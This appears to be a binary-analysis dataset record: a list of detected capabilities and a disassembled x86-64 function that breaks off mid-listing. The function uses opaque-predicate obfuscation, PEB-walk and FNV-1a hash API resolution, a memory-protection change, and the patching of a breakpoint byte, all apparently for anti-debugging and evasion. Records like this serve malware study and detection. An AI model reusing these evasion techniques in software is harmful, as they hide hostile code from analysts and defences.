Function at 0x1400e88e8
Capabilities:
Access peb ldr_data
Check for software breakpoints
Encode data using xor
Get kernel32 base address
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xd8]
sub rsp, 0x1b0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x140200540]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov rsi, qword [rbp + 0xd8]
mov qword [rsp + 0x60], rsi
call fcn.1401144f0
movsx edi, al
call fcn.1401144ec
movsx ecx, al
imul edi, ecx
call fcn.1401144fc
movsx ebx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rdi + rbx]
lea ecx, [rcx + rdi*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ed18a
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
lea r15d, [rbx + rdi*8]
mov r11d, 8
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cmp byte [rsi], 0xcc
cvtdq2pd xmm0, xmm0
sete al
xor edx, edx
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x30], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8a2c
call fcn.1401144f4
movsx edx, al
movsx eax, byte [0x140230389]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140114500
movsx ecx, al
sub r8d, ecx
call fcn.1401144f8
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400e8a2c
lea eax, [rdi + rdi*4]
mov r9d, r11d
lea r14d, [rax + rax]
jmp 0x1400e8a8f
lea eax, [rdi + rdi*4]
xor edx, edx
lea r14d, [rax + rax]
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8a8a
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
xorps xmm0, xmm0
lea eax, [rax + rdi*4]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x1400e8a8f
mov r9d, dword [rsp + 0x30]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x1400ed18a
movsx eax, byte [reloc.WS2_32.dll_htons]
lea r12d, [rbx + rdi*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ed18a
mov r10, qword [0x140230430]
mov r13d, 0x820621f3
test r10, r10
jne 0x1400e8c9d
mov rax, qword gs:[0x60]
xor esi, esi
mov dword [rsp + 0x38], r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov r8, rax
movups xmm0, xmmword [r8 + 0x58]
movd eax, xmm0
sub ax, r11w
test esi, esi
je 0x1400e8b62
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r9, [rcx + rax*2]
jmp 0x1400e8b55
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1400e8b46
cmp edx, esi
jne 0x1400e8c76
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400e8c70
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400e8c70
mov edx, dword [r11 + 0x20]
dec r10d
mov dword [rsp + 0x20], 0x811c9dc5
mov ecx, r10d
mov qword [rsp + 0x58], rcx
lea rcx, [rdx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x1400e8be1
mov r12d, dword [rsp + 0x20]
movsx ecx, cl
xor ecx, r12d
imul r12d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e8bc2
mov dword [rsp + 0x20], r12d
lea r12d, [rbx + rdi*4]
mov ecx, dword [rsp + 0x20]
cmp ecx, dword [rsp + 0x38]
je 0x1400e8bf6
mov edx, dword [r11 + 0x20]
test r10d, r10d
jne 0x1400e8b96
jmp 0x1400e8c70
mov edx, dword [r11 + 0x24]
mov rcx, qword [rsp + 0x58]
add rdx, r9
movzx r8d, word [rdx + rcx*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov r10d, dword [rdx + r8*4]
add r10, r9
cmp r10, r11
jbe 0x1400e8c91
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1400e8c91
mov esi, 0x811c9dc5
mov edx, esi
mov dword [rsp + 0x38], edx
jmp 0x1400e8c3e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x1400e8c30
inc r10
mov al, byte [r10]
test al, al
je 0x1400e8c68
movsx eax, al
inc r10
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [r10]
test al, al
jne 0x1400e8c4f
mov dword [rsp + 0x38], edx
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
mov r11d, 8
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rsp + 0x30]
je 0x1400e8c8e
cmp qword [rax + 0x30], 0
jne 0x1400e8b1a
xor r10d, r10d
mov rsi, qword [rsp + 0x60]
mov qword [0x140230430], r10
mov edx, 1
lea r9, [rbp + 0x60]
mov rcx, rsi
lea r8d, [rdx + 0x3f]
call r10
xor edx, edx
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8d4b
call fcn.1401144f4
movsx edx, al
movsx eax, byte [0x140230389]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140114500
movsx ecx, al
sub r8d, ecx
call fcn.1401144f8
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400e8d4b
mov r11d, 8
mov r9d, r11d
jmp 0x1400e8dab
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
mov r11d, 8
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e8da6
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si r9d, xmm0
jmp 0x1400e8dab
mov r9d, dword [rsp + 0x30]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rdi + rbx]
lea ecx, [rcx + rdi*8]
xor edx, edx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x1400ed18a
mov byte [rsi], 0x90
mov r10, qword [0x140230430]
test r10, r10
jne 0x1400e8f80
mov rax, qword gs:[0x60]
xor esi, esi
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov r8, rax
movups xmm0, xmmword [r8 + 0x58]
movd eax, xmm0
sub ax, r11w
test esi, esi
je 0x1400e8e53
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r9, [rcx + rax*2]
jmp 0x1400e8e46
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1400e8e37
cmp edx, esi
jne 0x1400e8f59
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400e8f53
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400e8f53
mov edx, dword [r11 + 0x20]
dec r10d
mov dword [rsp + 0x38], 0x811c9dc5
mov ecx, r10d
mov qword [rsp + 0x58], rcx
lea rcx, [rdx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x1400e8ed2
mov r15d, dword [rsp + 0x38]
movsx ecx, cl
xor ecx, r15d
imul r15d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x1400e8eb3
mov dword [rsp + 0x38], r15d
lea r15d, [rbx + rdi*8]
cmp dword [rsp + 0x38], r13d
je 0x1400e8ee4
mov edx, dword [r11 + 0x20]
test r10d, r10d
jne 0x1400e8e87
jmp 0x1400e8f53
mov edx, dword [r11 + 0x24]
mov rcx, qword [rsp + 0x58]
add rdx, r9
movzx r8d, word [rdx + rcx*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov r10d, dword [rdx + r8*4]
add r10, r9
cmp r10, r11
jbe 0x1400e8f74
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1400e8f74
mov eax, 0x811c9dc5
mov esi, eax
mov r13d, eax
jmp 0x1400e8f2b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x1400e8f1d
jmp 0x1400e8f41
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x1400e8f34
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
mov r11d, 8
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rsp + 0x30]
je 0x1400e8f71
cmp qword [rax + 0x30], 0
jne 0x1400e8e0b
xor r10d, r10d
mov rsi, qword [rsp + 0x60]
mov qword [0x140230430], r10
mov r8d, dword [rbp + 0x60]
lea r9, [rbp + 0x60]
mov edx, 1
mov rcx, rsi
call r10
xor r13d, r13d
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x24]
mov byte [rsp + 0x24], r13b
call fcn.1400910f8
movsd xmm9, qword [0x1401b1670]
mov r9, rax
movsd xmm6, qword [0x1401b1668]
movsd xmm7, qword [0x1401b1660]
movsd xmm8, qword [0x1401b1658]
cmp byte [rax], r13b
jne 0x1400e9a35
imul eax, edi, 7
mov dword [rsp + 0x20], r13d
mov ecx, dword [rsp + 0x20]
add eax, ebx
mov dword [rsp + 0x30], eax
call fcn.1401144f4
movsx r10d, al
call fcn.140114500
movsx r11d, al
call fcn.1401144f8
movsx esi, al
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*4]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e91f4
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e90a2
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e90a2
mov dword [rsp + 0x50], 8
lea r13d, [r14 + rbx]
jmp 0x1400e90fa
movsx eax, byte [reloc.WS2_32.dll_htons]
lea r13d, [r14 + rbx]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r13d
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e90fa
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x50], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9173
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9173
mov dword [rsp + 0x38], 8
jmp 0x1400e91c7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r13d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e91c7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x38], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x38]
add r8d, r8d
mov edx, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, dword [rsp + 0x50]
mov dword [r9 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
add eax, dword [rsp + 0x30]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9823
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add edx, edx
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9413
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e92b9
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e92b9
mov eax, 8
mov r13d, eax
mov dword [rsp + 0x54], eax
jmp 0x1400e9319
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r14 + rbx]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9314
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r13d, xmm0
mov dword [rsp + 0x54], r13d
jmp 0x1400e9319
mov r13d, dword [rsp + 0x54]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9391
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9391
mov dword [rsp + 0x3c], 8
jmp 0x1400e93e7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e93e7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x3c], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x3c]
add r8d, r8d
mov edx, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r13d
mov dword [r9 + rax*4 + 4], edx
movsx edx, byte [0x140230389]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
imul edx, r10d
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9607
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e94ae
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e94ae
mov eax, 8
mov r13d, eax
mov dword [rsp + 0x40], eax
jmp 0x1400e950d
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9508
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r13d, xmm0
mov dword [rsp + 0x40], r13d
jmp 0x1400e950d
mov r13d, dword [rsp + 0x40]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9585
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9585
mov dword [rsp + 0x44], 8
jmp 0x1400e95db
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e95db
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x44]
add r8d, r8d
mov edx, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r13d
mov dword [r9 + rax*4 + 4], edx
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [rdi + rdi*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9823
mov eax, dword [rsp + 0x20]
xor edx, edx
sub eax, 0x6c
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e96bb
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e96bb
mov eax, 8
mov r13d, eax
mov dword [rsp + 0x48], eax
jmp 0x1400e971a
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e9715
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r13d, xmm0
mov dword [rsp + 0x48], r13d
jmp 0x1400e971a
mov r13d, dword [rsp + 0x48]
mov eax, dword [rsp + 0x20]
xor edx, edx
sub eax, 0x6c
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e97a1
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e97a1
mov dword [rsp + 0x4c], 8
jmp 0x1400e97f7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e97f7
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x4c]
add r8d, r8d
mov edx, dword [r9 + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, r13d
mov dword [r9 + rax*4 + 4], edx
movsx edx, byte [0x140230389]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e9a1b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r15d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e98c1
movsx ecx, byte [0x140230389]
imul ecx, r10d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r11d
add edx, esi
add ecx, edx
je 0x1400e98c1
mov eax, 8
mov r13d, eax
mov dword [rsp + 0x58], eax
jmp 0x1400e9920
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400e991b
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r12d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r13d, xmm0
mov dword [rsp + 0x58], r13d
jmp 0x1400e9920
mov r13d, dword [rsp + 0x58]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
